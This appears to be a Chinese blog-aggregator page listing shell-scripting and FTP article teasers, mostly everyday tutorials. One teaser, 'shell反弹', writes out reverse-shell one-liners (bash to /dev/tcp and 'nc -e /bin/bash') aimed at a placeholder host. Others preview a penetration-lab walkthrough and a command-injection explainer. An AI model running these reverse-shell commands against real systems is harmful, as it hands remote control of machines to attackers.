shell ftp
Linux shell 获取脚本文件后面的参数的方法
原文:https://blog.csdn.net/tcjy1000/article/details/124558257 环境Linux 主机:Ubuntu 20.04.4 LTS获取shell脚本参数Linux shell 可以通过 $0 $1 $2 等获取 shell 脚本本身 及后面的参数获取路 ......
shell多线程/实例
1.Shell实现多进程 使用&和wait配合实现shell多进程并行 参考连接:https://blog.csdn.net/yuefei169/article/details/83340480 (1)改串行执行为并行执行方式:将前台执行命令放在后台执行(串行命令后加 &符号).(生产少使用该方式) ......
shell反弹
1.bash `bash -i >& /dev/tcp/x.x.x.x/port 0>&1` 2.nc -e 反弹 被攻击机` nc -e /bin/bash x.x.x.x port` 攻击机 `nc -lvp port` 3.nc 不带e反弹 ``` mknod /tmp/backpipe p ......
2023-07-13:如果你熟悉 Shell 编程,那么一定了解过花括号展开,它可以用来生成任意字符串。 花括号展开的表达式可以看作一个由 花括号、逗号 和 小写英文字母 组成的字符串 定义下面几条语
2023-07-13:如果你熟悉 Shell 编程,那么一定了解过花括号展开,它可以用来生成任意字符串。 花括号展开的表达式可以看作一个由 花括号、逗号 和 小写英文字母 组成的字符串 定义下面几条语法规则: 如果只给出单一的元素 x,那么表达式表示的字符串就只有 "x"。R(x) = {x} 例如 ......
浅谈OS命令注入漏洞(Shell注入漏洞)
一、什么是OS命令注入? 1. 基本概念 OS(Operating system)命令注入(也称为 Shell 注入)是一个 Web 安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统 (OS) 命令,这会破坏应用程序及其所有数据。 2. Shell的概念: Shell翻译过来就是” 壳” ......
shell自动拉取远程仓库和部署代码
```shell #!/bin/bash # 定义一个函数 function check_and_update_code() { # 获取本地提交标识 LOCAL=$(git rev-parse HEAD) # 获取远程提交标识 REMOTE=$(git rev-parse origin/$1) # ......
Shell | Transformer-xl代码的shell代码实现
**实现网址:**https://github.com/kimiyoung/transformer-xl/tree/master/pytorch ![](https://img2023.cnblogs.com/blog/3085423/202307/3085423-20230713165109801 ......
【shell】循环执行命令行
在shell 下面循环执行命令行,但不想用 cron 任务, 只用纯粹的 shell 指令,要怎样实现呢。 比如, 现在要执行,查看当前目录下文件个数,及各文件的大小, 要每隔5秒钟查看一次 如果手动执行的话, 要先输入 ls | wc -l (查看当前目录下,文件的个数) 然后再通过 du -sh ......
06_sar:敏感文件泄露、文件上传、组件漏洞、反弹shell、计划任务提权
1.信息收集1.1主机发现1.2端口扫描1.3具体扫描1.4目录扫描1.5nmap默认脚本扫描2.信息利用2.1访问网站:只有一个apache2的页面2.2访问robots.txt因为robots.txt大多数都是存的目录,所以尝试访问一下可以看到一个带有版本号的文件,这个可能是一个软件,下载压缩包 ......
shell命令下载最新github releases
## 前提 以clash为例子 ![](https://img2023.cnblogs.com/blog/870258/202307/870258-20230713153251726-994212807.png) 我们得知其现在连接是为 ```shell https://github.com/Kr3 ......
Shell 特殊符号(变量)用法小结
Shell | 特殊变量 $n 基本语法: $n (功能描述:n 为数字,$0 代表该脚本名称,$1-$9 代表第一到第九个参数,十以上的参数,十以上的参数需要用大括号包含,如${10}) 例如: $ touch parameter.sh $ vim parameter.sh #!/bin/bash ......
shell脚本学习笔记
[TOC] Q:shell脚本说明 shell 脚本是个纯文本文件,命令从上而下,一行一行地开始执行。shell 脚本拓展名为`.sh`。shell 脚本第一行一定要为: ```shell #!/bin/bash ``` Q:shell脚本语法(一个简单的示例脚本) 创建一个 test.sh 文件, ......
Shell | 变量
### 系统预定义变量 常用系统变量`$HOME`、`$PWD`、`$SHELL`、`$USER` 等 **例子:** (1)查看系统变量的值 ```sh $ echo $HOME /home/zlq ``` (2)显示当前 Shell 中所有变量:`set` ```sh $ set BASH=/b ......
Shell | 条件判断
**基本语法:** (1)test condition (2)[ condition ](**注意 condition 前后要有空格**) 注意:条件非空即为 true,[ atguigu ]返回 true,[ ] 返回 false。 **常用判断条件:** (1)两个整数之间比较 ```sh -e ......
Shell | 正则表达式
正则表达式使用单个字符串来描述、匹配一系列符合某个语法规则的字符串。在很多文本编辑器里,**正则表达式通常被用来检索、替换那些符合某个模式的文本**。在 Linux 中,`grep`,`sed`,`awk` 等文本处理工具都支持通过正则表达式进行模式匹配。 ### 常规匹配 一串不包含特殊字符的正则 ......
Shell | 函数语法
### 系统函数 #### 1、basename **基本语法:** `basename [string / pathname] [suffix] `(功能描述:`basename` 命令会删掉所有的前缀包括最后一个(‘/’)字符,然后将字符串显示出来。 `basename` 可以理解为取路径里的文 ......
【计算机教育缺失的一课】01 课程概览与shell
一、单个程序 (1)shell 当可视化界面无法实现你想要的功能时,shell是你和计算机交互的主要方式之一。 大多数平台也都提供一些形式的shell。在windows上一般是powershell,但也有其他shell可用。 有不同类型的shell 最常见的是Bash(Bourne Again SH ......
Shell | 循环语句
### for循环 **基本语法 1:** ```sh for (( 初始值;循环控制条件;变量变化 )) do 程序 done ``` **例子:从 1 加到 100** ```sh $ touch for1.sh $ vim for1.sh #!/bin/bash sum=0 for((i=0; ......
Shell | 判断语句
### if判断 **基本语法:** (1)单分支 ```sh if [ 条件判断式 ];then 程序 fi ``` 或者 ```sh if [ 条件判断式 ] then 程序 fi ``` (2)多分支 ```sh if [ 条件判断式 ] then 程序 elif [ 条件判断式 ] then ......
Shell | 特殊变量
### `$n` **基本语法:** `$n` (功能描述:n 为数字,`$0` 代表该脚本名称,`$1-$9` 代表第一到第九个参数,十以上的参数,十以上的参数需要用大括号包含,如`${10}`) **例如:** ```sh $ touch parameter.sh $ vim parameter ......
ansible shell模块简单使用
ansible shell模块简单使用 ## 参数 | 参数 | 说明 | | | | | **chdir** | 运行命令前先CD到该目录 | | **cmd** | 运行的命令 | | **creates** | 存在某个文件就不运行命令 | | **executable** | 更改执行命令的 ......
正点原子Ubuntu入门003--Ubuntu终端操作与shell命令
常用shell命令 查看目录信息 ls -a 显示目录下所有文件及文件夹,包括隐藏文件,比如以 . 开头的文件 -l 以长格式显示文件和目录信息,包括权限、所有者、大小、创建时间等 切换目录 cd ( ~ == /home/用户名 )( ../ 返回上一级目录) 显示当前目录路径 pwd 查看系统信 ......
Shell 编程常用参考
# Shell特殊变量 $0, $#, $*, $@, $?, $$和命令行参数 Shell 中的特殊变量参考如下表: | 变量 | 含义 | | :--: | : : | | $0 | 当前脚本的文件名 | | $n | 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是$ ......
FTP文件传输协议
简述 FTP:文件传输协议,File Transfer Protocol,是在互联网中进行文件传输的一种协议,基于C/S模式,客户端通过FTP协议与服务器建立连接,并进行文件的上传、下载和管理。 在Linux系统下,有一款工具实现ftp协议,名为vsftpd,非常安全的FTP守护进程服务 默认端口 ......
FTP传送超大文件慢且不完整,是否有替代的传输方案?
近年来全球网络安全威胁态势的加速严峻,使得企业对于网络安全有了前所未有的关注高度,也越来越重视核心数据资产的保护,数据资产的安全防护成为企业面临的重大挑战。 2017年6月1日,我国《网络安全法》正式实施。《网络安全法》第三十七条规定,“关键信息基础设施的运营者在中华人民共和国境内运营中收集和产生的 ......
shell实现进度条、转圈等
1. 转圈 渐次输出字符 '\\' '|' '/' '-', 来实现转圈的效果# !/bin/bash function waiting() { i=0 while [ $i -le 100 ] do for j in '\\' '|' '/' '-' do printf "\t\t\t\t%c % ......
shell脚本-批量主机执行命令(expect)
# shell脚本-批量主机执行命令(expect) ## 准备 > 上次连接多台服务器使用ssh-keygen,24机器去连接22、25,所以存在.ssh/authorized_keys > > 1.如果有.ssh/authorized_keys该文件则先删除 > > ``` > rm -rf.s ......
shell脚本-批量检查网站是否异常
# shell脚本-批量检查网站是否异常 > - 200 - 请求成功 > - 301 - 资源(网页等)被永久转移到其它URL > - 404 - 请求的资源(网页等)不存在 > - 500 - 内部服务器错误 > > 通过获取状态码检查网站是否正常 但是这种方式不太好直接取出状态码 > > > ......
shell脚本-监控多台服务器磁盘利用率
# shell脚本-监控多台服务器磁盘利用率 ## 介绍 > 第一步:实现免密登录服务器 ,为后续脚本免密登录做好准备。 > > 第二步:把要监控服务器的ip地址 root用户 端口port 写入host.info文件中以便后续脚本从这个文件读取服务器信息。 > > 第三步:写shell脚本,先从h ......